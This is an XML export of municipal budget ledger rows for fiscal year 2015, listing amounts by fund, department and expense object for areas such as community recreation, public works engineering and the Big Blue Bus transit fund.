<row _id="15651"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>546.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>546.0</total></row>
<row _id="15652"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="15653"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577840.0</object><object_description>ASSESSMENTS FOR CITY-OWNED PRO</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>388467.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>388467.0</total></row>
<row _id="15654"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>20913.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20913.0</total></row>
<row _id="15655"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6617.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6617.0</total></row>
<row _id="15656"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6409.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6409.0</total></row>
<row _id="15657"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400772.0</object><object_description>JONATHAN CLUB LEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-125000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-125000.0</total></row>
<row _id="15658"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560040.0</object><object_description>CISTERN PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20360.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20360.0</total></row>
<row _id="15659"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-39572.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-39572.0</total></row>
<row _id="15660"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-1975227.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1975227.0</total></row>
<row _id="15661"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6899.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6899.0</total></row>
<row _id="15662"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>630.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>630.0</total></row>
<row _id="15663"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3820.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3820.0</total></row>
<row _id="15664"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5310.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5310.0</total></row>
<row _id="15665"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="15666"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
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<row _id="15668"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>441.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>441.0</total></row>
<row _id="15669"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>42264.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42264.0</total></row>
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<row _id="15672"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
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<row _id="15678"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3168.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3168.0</total></row>
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<row _id="15680"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="15681"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4880.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4880.0</total></row>
<row _id="15682"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>588.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>588.0</total></row>
<row _id="15683"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="15684"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4875.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4875.0</total></row>
<row _id="15685"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4150.0</total></row>
<row _id="15686"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1770.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1770.0</total></row>
<row _id="15687"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>147.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>147.0</total></row>
<row _id="15688"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>658.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>658.0</total></row>
<row _id="15689"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>132340.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>132340.0</total></row>
<row _id="15690"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="15691"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>FIRE - PEHP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15693"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1497.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1497.0</total></row>
<row _id="15694"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401331.0</object><object_description>MALL MAINT PYMTS TO BAYSIDE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15695"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570100.0</object><object_description>PEG TRANSFER TO FUND 01</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>276857.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>276857.0</total></row>
<row _id="15696"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560030.0</object><object_description>RAIN BARREL PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13234.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13234.0</total></row>
<row _id="15697"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-46694.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-46694.0</total></row>
<row _id="15698"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404290.0</object><object_description>MEASURE R LOCAL RETURN</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2015</fiscal_year><july>-511350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-511350.0</total></row>
<row _id="15699"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>183.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>183.0</total></row>
<row _id="15700"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>74592.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>74592.0</total></row>
<row _id="15701"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12690.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12690.0</total></row>
<row _id="15702"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>26410.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26410.0</total></row>
<row _id="15703"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3279.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3279.0</total></row>
<row _id="15704"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="15705"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>834.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>834.0</total></row>
<row _id="15706"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1650.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1650.0</total></row>
